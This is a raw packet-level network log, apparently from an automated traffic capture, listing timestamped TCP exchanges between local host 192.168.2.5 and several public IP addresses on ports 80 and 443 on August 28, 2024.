Aug 28, 2024 15:08:19.494054079 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.494117022 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.515266895 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515284061 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515304089 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515317917 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515328884 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515336990 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.515341997 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515383005 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.515414000 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.515723944 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515773058 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515784979 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515820980 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.515886068 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515898943 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515913010 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.515922070 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.515960932 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.516549110 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.516669035 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.516680956 CEST	80	49714	104.17.24.14	192.168.2.5
Aug 28, 2024 15:08:19.516702890 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.534997940 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.570586920 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.570760965 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.570804119 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.570828915 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.570857048 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.570869923 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.570885897 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.570919991 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.570947886 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.570988894 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.570988894 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.570996046 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.575468063 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.575495958 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.575520992 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.575556993 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.575562000 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.575604916 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.584729910 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.584784985 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.584810019 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.584849119 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.584876060 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.584893942 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.584893942 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.584901094 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.584922075 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.584964991 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.584999084 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.584999084 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.585007906 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.588783026 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.588803053 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.588830948 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.588860035 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.588886023 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.588893890 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.588960886 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.588984966 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.589004040 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.589024067 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.589032888 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.589056969 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.589407921 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.589436054 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.589458942 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.589685917 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.589711905 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.592454910 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.592492104 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.595058918 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.595066071 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.595947981 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.622015953 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.622035027 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.622051954 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.622057915 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.622066021 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.622088909 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.622122049 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.622143984 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.622152090 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.622178078 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.623886108 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.623904943 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.623925924 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.623934984 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.623949051 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.623963118 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.623971939 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.623996019 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.624010086 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.624026060 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.625622034 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.625648022 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.625674963 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.625694036 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.625701904 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.625730991 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.657175064 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.657377958 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.657473087 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.657526970 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.657526970 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.657557964 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.657680988 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.657778978 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.657803059 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.657856941 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.657856941 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.657864094 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.658425093 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.658456087 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.658493042 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.658524990 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.658546925 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.658551931 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.658587933 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.658587933 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.659316063 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.659369946 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.659392118 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.659413099 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.659432888 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.659449100 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.659449100 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.659455061 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.659903049 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.660208941 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.660274982 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.660305023 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.660351992 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.660356998 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.660888910 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.661892891 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.661995888 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.664536953 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.672943115 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.673085928 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.673110962 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.673135996 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.673171997 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.673171997 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.673187017 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.673228979 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.673574924 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.673621893 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.673645973 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.673935890 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.673940897 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.674211025 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.674235106 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.674272060 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.674285889 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.674285889 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.674292088 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.674324989 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.674458981 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.674463987 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.675189018 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.675221920 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.675247908 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.675252914 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.675262928 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.675280094 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.675290108 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.675312996 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.675482988 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.675489902 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.675520897 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.676064014 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.676615000 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.676623106 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.678231001 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.678482056 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.678510904 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.678560972 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.678585052 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.678594112 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.678720951 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.684899092 CEST	49714	80	192.168.2.5	104.17.24.14
Aug 28, 2024 15:08:19.684927940 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.708726883 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.708744049 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.708781004 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.708800077 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.708817005 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.708843946 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.708873987 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.708889961 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.708903074 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.708906889 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.708957911 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.762540102 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.762567997 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.762670040 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.762725115 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.762726068 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.794918060 CEST	49712	443	192.168.2.5	151.101.2.137
Aug 28, 2024 15:08:19.794945955 CEST	443	49712	151.101.2.137	192.168.2.5
Aug 28, 2024 15:08:19.803077936 CEST	49715	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.803097010 CEST	443	49715	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.804063082 CEST	49713	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.804079056 CEST	443	49713	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.805428982 CEST	49711	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.805433989 CEST	443	49711	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.842027903 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:19.842082024 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:19.842156887 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:19.842359066 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:19.842370033 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:19.844173908 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.844192982 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.844264984 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.844264984 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.844274044 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.844512939 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.844773054 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.844780922 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.844954014 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.844974041 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.845041990 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.845213890 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:19.845221996 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:19.846158028 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:19.846175909 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:19.847043037 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:19.847076893 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:19.847151995 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:19.847389936 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:19.847405910 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.301117897 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.301403046 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.301431894 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.301503897 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.301776886 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.301786900 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.302449942 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.302500963 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.302563906 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.302798986 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.302826881 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.302869081 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.302961111 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.303195000 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.303252935 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.303328991 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.303637981 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.303735971 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.303860903 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.303917885 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.303981066 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.304354906 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.304428101 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.304495096 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.318747997 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.319056034 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.319066048 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.320130110 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.320189953 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.320615053 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.320677996 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.320755005 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.320760012 CEST	443	49720	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.325790882 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.328147888 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.328166008 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.330492020 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.330549002 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.331049919 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.331129074 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.331188917 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.344499111 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.348494053 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.352505922 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.376498938 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.384651899 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.384661913 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.384666920 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.384699106 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.415481091 CEST	49720	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.415484905 CEST	49721	443	192.168.2.5	104.18.10.207
Aug 28, 2024 15:08:20.415509939 CEST	443	49721	104.18.10.207	192.168.2.5
Aug 28, 2024 15:08:20.415539980 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.415545940 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.430191994 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.430226088 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.430249929 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.430282116 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.430335999 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.430349112 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.430411100 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.430530071 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.431030035 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.431061029 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.431085110 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.431086063 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.431097031 CEST	443	49719	104.17.25.14	192.168.2.5
Aug 28, 2024 15:08:20.431139946 CEST	49719	443	192.168.2.5	104.17.25.14
Aug 28, 2024 15:08:20.431327105 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.431356907 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.431384087 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.431413889 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.431425095 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.431446075 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.431461096 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.431859970 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.431931019 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.431932926 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.431940079 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.431952953 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.431998968 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.432029963 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.432061911 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.432068110 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.432073116 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.432115078 CEST	49718	443	192.168.2.5	151.101.194.137
Aug 28, 2024 15:08:20.432120085 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.432126999 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.432789087 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.436089993 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.436131001 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.436156034 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.436187983 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.436197996 CEST	443	49723	104.18.11.207	192.168.2.5
Aug 28, 2024 15:08:20.436222076 CEST	49723	443	192.168.2.5	104.18.11.207
Aug 28, 2024 15:08:20.439835072 CEST	443	49718	151.101.194.137	192.168.2.5
Aug 28, 2024 15:08:20.439887047 CEST	49718	443	192.168.2.5	151.101.194.137
